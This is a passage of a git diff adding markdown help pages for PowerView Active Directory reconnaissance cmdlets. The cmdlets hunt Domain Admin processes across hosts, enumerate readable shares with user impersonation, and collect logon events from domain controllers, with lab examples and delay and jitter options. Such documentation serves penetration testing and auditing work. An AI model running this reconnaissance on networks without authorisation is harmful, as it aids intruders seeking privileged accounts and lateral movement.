-ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain and target systems. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Delay +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Jitter +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 + +```yaml +Type: Double +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0.3 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Threads +The number of threads to use for user searching, defaults to 20. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 20 +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.LocalGroupMember.API + +Custom PSObject with translated group property fields from API results. + +PowerView.LocalGroupMember.WinNT + +Custom PSObject with translated group property fields from WinNT results. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Find-DomainObjectPropertyOutlier.md b/docs/Recon/Find-DomainObjectPropertyOutlier.md new file mode 100755 index 00000000..280e8ef5 --- /dev/null +++ b/docs/Recon/Find-DomainObjectPropertyOutlier.md @@ -0,0 +1,261 @@ +# Find-DomainObjectPropertyOutlier + +## SYNOPSIS +Finds user/group/computer objects in AD that have 'outlier' properties set. + +Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: Get-Domain, Get-DomainUser, Get-DomainGroup, Get-DomainComputer, Get-ForestSchemaClass + +## SYNTAX + +### ClassName (Default) +``` +Find-DomainObjectPropertyOutlier [-ClassName] [-ReferencePropertySet ] [-Domain ] + [-LDAPFilter ] [-SearchBase ] [-Server ] [-SearchScope ] + [-ResultPageSize ] [-ServerTimeLimit ] [-Tombstone] [-Credential ] +``` + +### ReferenceObject +``` +Find-DomainObjectPropertyOutlier [-ReferencePropertySet ] -ReferenceObject + [-Domain ] [-LDAPFilter ] [-SearchBase ] [-Server ] [-SearchScope ] + [-ResultPageSize ] [-ServerTimeLimit ] [-Tombstone] [-Credential ] +``` + +## DESCRIPTION +Enumerates the schema for the specified -ClassName (if passed) by using Get-ForestSchemaClass. +If a -ReferenceObject is passed, the class is extracted from the passed object. +A 'reference' set of property names is then calculated, either from a standard set preserved +for user/group/computers, or from the array of names passed to -ReferencePropertySet, or +from the property names of the passed -ReferenceObject. +These property names are substracted +from the master schema propertyu name list to retrieve a set of 'non-standard' properties. +Every user/group/computer object (depending on determined class) are enumerated, and for each +object, if the object has a 'non-standard' property set, the object samAccountName, property +name, and property value are output to the pipeline. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Find-DomainObjectPropertyOutlier -User +``` + +Enumerates users in the current domain with 'outlier' properties filled in. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Find-DomainObjectPropertyOutlier -Group -Domain external.local +``` + +Enumerates groups in the external.local forest/domain with 'outlier' properties filled in. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Get-DomainComputer -FindOne | Find-DomainObjectPropertyOutlier +``` + +Enumerates computers in the current domain with 'outlier' properties filled in. + +## PARAMETERS + +### -ClassName +Specifies the AD object class to find property outliers for, 'user', 'group', or 'computer'. +If -ReferenceObject is specified, this will be automatically extracted, if possible. + +```yaml +Type: String +Parameter Sets: ClassName +Aliases: Class + +Required: True +Position: 1 +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ReferencePropertySet +Specifies an array of property names to diff against the class schema. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ReferenceObject +Specicifes the PowerView user/group/computer object to extract property names +from to use as the reference set. + +```yaml +Type: PSObject +Parameter Sets: ReferenceObject +Aliases: + +Required: True +Position: Named +Default value: None +Accept pipeline input: True (ByValue) +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to use for the query, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -LDAPFilter +Specifies an LDAP query string that is used to filter Active Directory objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Filter + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchBase +The LDAP source to search through, e.g. +"LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ADSPath + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.PropertyOutlier + +Custom PSObject with translated object property outliers. + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Find-DomainProcess.md b/docs/Recon/Find-DomainProcess.md new file mode 100755 index 00000000..89dc568d --- /dev/null +++ b/docs/Recon/Find-DomainProcess.md @@ -0,0 +1,517 @@ +# Find-DomainProcess + +## SYNOPSIS +Searches for processes on the domain using WMI, returning processes +that match a particular user specification or process name. + +Thanks to @paulbrandau for the approach idea. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Get-WMIProcess, New-ThreadedFunction + +## SYNTAX + +### None (Default) +``` +Find-DomainProcess [[-ComputerName] ] [-Domain ] [-ComputerDomain ] + [-ComputerLDAPFilter ] [-ComputerSearchBase ] [-ComputerUnconstrained] + [-ComputerOperatingSystem ] [-ComputerServicePack ] [-ComputerSiteName ] + [-UserGroupIdentity ] [-Server ] [-SearchScope ] [-ResultPageSize ] + [-ServerTimeLimit ] [-Tombstone] [-Credential ] [-StopOnSuccess] [-Delay ] + [-Jitter ] [-Threads ] +``` + +### TargetProcess +``` +Find-DomainProcess [[-ComputerName] ] [-Domain ] [-ComputerDomain ] + [-ComputerLDAPFilter ] [-ComputerSearchBase ] [-ComputerUnconstrained] + [-ComputerOperatingSystem ] [-ComputerServicePack ] [-ComputerSiteName ] + [-ProcessName ] [-UserGroupIdentity ] [-Server ] [-SearchScope ] + [-ResultPageSize ] [-ServerTimeLimit ] [-Tombstone] [-Credential ] + [-StopOnSuccess] [-Delay ] [-Jitter ] [-Threads ] +``` + +### UserIdentity +``` +Find-DomainProcess [[-ComputerName] ] [-Domain ] [-ComputerDomain ] + [-ComputerLDAPFilter ] [-ComputerSearchBase ] [-ComputerUnconstrained] + [-ComputerOperatingSystem ] [-ComputerServicePack ] [-ComputerSiteName ] + [-UserIdentity ] [-UserGroupIdentity ] [-Server ] [-SearchScope ] + [-ResultPageSize ] [-ServerTimeLimit ] [-Tombstone] [-Credential ] + [-StopOnSuccess] [-Delay ] [-Jitter ] [-Threads ] +``` + +### TargetUser +``` +Find-DomainProcess [[-ComputerName] ] [-Domain ] [-ComputerDomain ] + [-ComputerLDAPFilter ] [-ComputerSearchBase ] [-ComputerUnconstrained] + [-ComputerOperatingSystem ] [-ComputerServicePack ] [-ComputerSiteName ] + [-UserIdentity ] [-UserDomain ] [-UserLDAPFilter ] [-UserSearchBase ] + [-UserGroupIdentity ] [-UserAdminCount] [-Server ] [-SearchScope ] + [-ResultPageSize ] [-ServerTimeLimit ] [-Tombstone] [-Credential ] + [-StopOnSuccess] [-Delay ] [-Jitter ] [-Threads ] +``` + +## DESCRIPTION +This function enumerates all machines on the current (or specified) domain +using Get-DomainComputer, and queries the domain for users of a specified group +(default 'Domain Admins') with Get-DomainGroupMember. +Then for each server the +function enumerates any current processes running with Get-WMIProcess, +searching for processes running under any target user contexts or with the +specified -ProcessName. +If -Credential is passed, it is passed through to +the underlying WMI commands used to enumerate the remote machines. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Find-DomainProcess +``` + +Searches for processes run by 'Domain Admins' by enumerating every computer in the domain. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Find-DomainProcess -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local +``` + +Enumerates Windows 7 computers in dev.testlab.local and returns any processes being run by +privileged users in dev.testlab.local. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +Find-DomainProcess -ProcessName putty.exe +``` + +Searchings for instances of putty.exe running on the current domain. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-DomainProcess -Domain testlab.local -Credential $Cred + +Searches processes being run by 'domain admins' in the testlab.local using the specified alternate credentials. + +## PARAMETERS + +### -ComputerName +Specifies an array of one or more hosts to enumerate, passable on the pipeline. +If -ComputerName is not passed, the default behavior is to enumerate all machines +in the domain returned by Get-DomainComputer. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: DNSHostName + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Domain +Specifies the domain to query for computers AND users, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerDomain +Specifies the domain to query for computers, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerLDAPFilter +Specifies an LDAP query string that is used to search for computer objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerSearchBase +Specifies the LDAP source to search through for computers, +e.g. +"LDAP://OU=secret,DC=testlab,DC=local". +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerUnconstrained +Switch. +Search computer objects that have unconstrained delegation. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: Unconstrained + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerOperatingSystem +Search computers with a specific operating system, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: OperatingSystem + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerServicePack +Search computers with a specific service pack, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ServicePack + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerSiteName +Search computers in the specific AD Site name, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: SiteName + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ProcessName +Search for processes with one or more specific names. + +```yaml +Type: String[] +Parameter Sets: TargetProcess +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserIdentity +Specifies one or more user identities to search for. + +```yaml +Type: String[] +Parameter Sets: UserIdentity, TargetUser +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserDomain +Specifies the domain to query for users to search for, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: TargetUser +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserLDAPFilter +Specifies an LDAP query string that is used to search for target users. + +```yaml +Type: String +Parameter Sets: TargetUser +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserSearchBase +Specifies the LDAP source to search through for target users. +e.g. +"LDAP://OU=secret,DC=testlab,DC=local". +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: TargetUser +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserGroupIdentity +Specifies a group identity to query for target users, defaults to 'Domain Admins. +If any other user specifications are set, then UserGroupIdentity is ignored. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: GroupName, Group + +Required: False +Position: Named +Default value: Domain Admins +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserAdminCount +Switch. +Search for users users with '(adminCount=1)' (meaning are/were privileged). + +```yaml +Type: SwitchParameter +Parameter Sets: TargetUser +Aliases: AdminCount + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain and target systems. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -StopOnSuccess +Switch. +Stop hunting after finding after finding a target user. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Delay +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Jitter +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 + +```yaml +Type: Double +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0.3 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Threads +The number of threads to use for user searching, defaults to 20. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 20 +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.UserProcess + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Find-DomainShare.md b/docs/Recon/Find-DomainShare.md new file mode 100755 index 00000000..71274b7b --- /dev/null +++ b/docs/Recon/Find-DomainShare.md @@ -0,0 +1,335 @@ +# Find-DomainShare + +## SYNOPSIS +Searches for computer shares on the domain. +If -CheckShareAccess is passed, +then only shares the current user has read access to are returned. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetShare, New-ThreadedFunction + +## SYNTAX + +``` +Find-DomainShare [[-ComputerName] ] [-ComputerDomain ] [-ComputerLDAPFilter ] + [-ComputerSearchBase ] [-ComputerOperatingSystem ] [-ComputerServicePack ] + [-ComputerSiteName ] [-CheckShareAccess] [-Server ] [-SearchScope ] + [-ResultPageSize ] [-ServerTimeLimit ] [-Tombstone] [-Credential ] + [-Delay ] [-Jitter ] [-Threads ] +``` + +## DESCRIPTION +This function enumerates all machines on the current (or specified) domain +using Get-DomainComputer, and enumerates the available shares for each +machine with Get-NetShare. +If -CheckShareAccess is passed, then +\[IO.Directory\]::GetFiles() is used to check if the current user has read +access to the given share. +If -Credential is passed, then +Invoke-UserImpersonation is used to impersonate the specified user before +enumeration, reverting after with Invoke-RevertToSelf. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Find-DomainShare +``` + +Find all domain shares in the current domain. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +Find-DomainShare -CheckShareAccess +``` + +Find all domain shares in the current domain that the current user has +read access to. + +### -------------------------- EXAMPLE 3 -------------------------- +``` +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +``` + +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-DomainShare -Domain testlab.local -Credential $Cred + +Searches for domain shares in the testlab.local domain using the specified alternate credentials. + +## PARAMETERS + +### -ComputerName +Specifies an array of one or more hosts to enumerate, passable on the pipeline. +If -ComputerName is not passed, the default behavior is to enumerate all machines +in the domain returned by Get-DomainComputer. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: DNSHostName + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -ComputerDomain +Specifies the domain to query for computers, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: Domain + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerLDAPFilter +Specifies an LDAP query string that is used to search for computer objects. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerSearchBase +Specifies the LDAP source to search through for computers, +e.g. +"LDAP://OU=secret,DC=testlab,DC=local". +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerOperatingSystem +Search computers with a specific operating system, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: OperatingSystem + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerServicePack +Search computers with a specific service pack, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: ServicePack + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ComputerSiteName +Search computers in the specific AD Site name, wildcards accepted. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: SiteName + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -CheckShareAccess +Switch. +Only display found shares that the local user has access to. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: CheckAccess + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: Subtree +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ResultPageSize +Specifies the PageSize to set for the LDAP searcher object. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 200 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -ServerTimeLimit +Specifies the maximum amount of time the server spends searching. +Default of 120 seconds. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Tombstone +Switch. +Specifies that the searcher should also return deleted/tombstoned objects. + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Credential +A \[Management.Automation.PSCredential\] object of alternate credentials +for connection to the target domain and target systems. + +```yaml +Type: PSCredential +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [Management.Automation.PSCredential]::Empty +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Delay +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Jitter +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 + +```yaml +Type: Double +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 0.3 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Threads +The number of threads to use for user searching, defaults to 20. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 20 +Accept pipeline input: False +Accept wildcard characters: False +``` + +## INPUTS + +## OUTPUTS + +### PowerView.ShareInfo + +## NOTES + +## RELATED LINKS + diff --git a/docs/Recon/Find-DomainUserEvent.md b/docs/Recon/Find-DomainUserEvent.md new file mode 100755 index 00000000..12e64a9e --- /dev/null +++ b/docs/Recon/Find-DomainUserEvent.md @@ -0,0 +1,451 @@ +# Find-DomainUserEvent + +## SYNOPSIS +Finds logon events on the current (or remote domain) for the specified users. + +Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainUser, Get-DomainGroupMember, Get-DomainController, Get-DomainUserEvent, New-ThreadedFunction + +## SYNTAX + +### Domain (Default) +``` +Find-DomainUserEvent [-Domain ] [-Filter ] [-StartTime ] [-EndTime ] + [-MaxEvents ] [-UserIdentity ] [-UserDomain ] [-UserLDAPFilter ] + [-UserSearchBase ] [-UserGroupIdentity ] [-UserAdminCount] [-CheckAccess] [-Server ] + [-SearchScope ] [-ResultPageSize ] [-ServerTimeLimit ] [-Tombstone] + [-Credential ] [-StopOnSuccess] [-Delay ] [-Jitter ] [-Threads ] +``` + +### ComputerName +``` +Find-DomainUserEvent [[-ComputerName] ] [-Filter ] [-StartTime ] + [-EndTime ] [-MaxEvents ] [-UserIdentity ] [-UserDomain ] + [-UserLDAPFilter ] [-UserSearchBase ] [-UserGroupIdentity ] [-UserAdminCount] + [-CheckAccess] [-Server ] [-SearchScope ] [-ResultPageSize ] [-ServerTimeLimit ] + [-Tombstone] [-Credential ] [-StopOnSuccess] [-Delay ] [-Jitter ] + [-Threads ] +``` + +## DESCRIPTION +Enumerates all domain controllers from the specified -Domain +(default of the local domain) using Get-DomainController, enumerates +the logon events for each using Get-DomainUserEvent, and filters +the results based on the targeting criteria. + +## EXAMPLES + +### -------------------------- EXAMPLE 1 -------------------------- +``` +Find-DomainUserEvent +``` + +Search for any user events matching domain admins on every DC in the current domain. + +### -------------------------- EXAMPLE 2 -------------------------- +``` +$cred = Get-Credential dev\administrator +``` + +Find-DomainUserEvent -ComputerName 'secondary.dev.testlab.local' -UserIdentity 'john' + +Search for any user events matching the user 'john' on the 'secondary.dev.testlab.local' +domain controller using the alternate credential + +### -------------------------- EXAMPLE 3 -------------------------- +``` +'primary.testlab.local | Find-DomainUserEvent -Filter @{'IpAddress'='192.168.52.200|192.168.52.201'} +``` + +Find user events on the primary.testlab.local system where the event matches +the IPAddress '192.168.52.200' or '192.168.52.201'. + +### -------------------------- EXAMPLE 4 -------------------------- +``` +$cred = Get-Credential testlab\administrator +``` + +Find-DomainUserEvent -Delay 1 -Filter @{'LogonGuid'='b8458aa9-b36e-eaa1-96e0-4551000fdb19'; 'TargetLogonId' = '10238128'; 'op'='&'} + +Find user events mathing the specified GUID AND the specified TargetLogonId, searching +through every domain controller in the current domain, enumerating each DC in serial +instead of in a threaded manner, using the alternate credential. + +## PARAMETERS + +### -ComputerName +Specifies an explicit computer name to retrieve events from. + +```yaml +Type: String[] +Parameter Sets: ComputerName +Aliases: dnshostname, HostName, name + +Required: False +Position: 1 +Default value: None +Accept pipeline input: True (ByPropertyName, ByValue) +Accept wildcard characters: False +``` + +### -Domain +Specifies a domain to query for domain controllers to enumerate. +Defaults to the current domain. + +```yaml +Type: String +Parameter Sets: Domain +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Filter +A hashtable of PowerView.LogonEvent properties to filter for. +The 'op|operator|operation' clause can have '&', '|', 'and', or 'or', +and is 'or' by default, meaning at least one clause matches instead of all. +See the exaples for usage. + +```yaml +Type: Hashtable +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -StartTime +The \[DateTime\] object representing the start of when to collect events. +Default of \[DateTime\]::Now.AddDays(-1). + +```yaml +Type: DateTime +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [DateTime]::Now.AddDays(-1) +Accept pipeline input: True (ByPropertyName) +Accept wildcard characters: False +``` + +### -EndTime +The \[DateTime\] object representing the end of when to collect events. +Default of \[DateTime\]::Now. + +```yaml +Type: DateTime +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: [DateTime]::Now +Accept pipeline input: True (ByPropertyName) +Accept wildcard characters: False +``` + +### -MaxEvents +The maximum number of events (per host) to retrieve. +Default of 5000. + +```yaml +Type: Int32 +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: 5000 +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserIdentity +Specifies one or more user identities to search for. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserDomain +Specifies the domain to query for users to search for, defaults to the current domain. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserLDAPFilter +Specifies an LDAP query string that is used to search for target users. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserSearchBase +Specifies the LDAP source to search through for target users. +e.g. +"LDAP://OU=secret,DC=testlab,DC=local". +Useful for OU queries. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserGroupIdentity +Specifies a group identity to query for target users, defaults to 'Domain Admins. +If any other user specifications are set, then UserGroupIdentity is ignored. + +```yaml +Type: String[] +Parameter Sets: (All) +Aliases: GroupName, Group + +Required: False +Position: Named +Default value: Domain Admins +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -UserAdminCount +Switch. +Search for users users with '(adminCount=1)' (meaning are/were privileged). + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: AdminCount + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -CheckAccess +{{Fill CheckAccess Description}} + +```yaml +Type: SwitchParameter +Parameter Sets: (All) +Aliases: + +Required: False +Position: Named +Default value: False +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -Server +Specifies an Active Directory server (domain controller) to bind to. + +```yaml +Type: String +Parameter Sets: (All) +Aliases: DomainController + +Required: False +Position: Named +Default value: None +Accept pipeline input: False +Accept wildcard characters: False +``` + +### -SearchScope +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). + +```yaml +Type: String +Parameter Sets: (All) +Aliases: + +Required: False 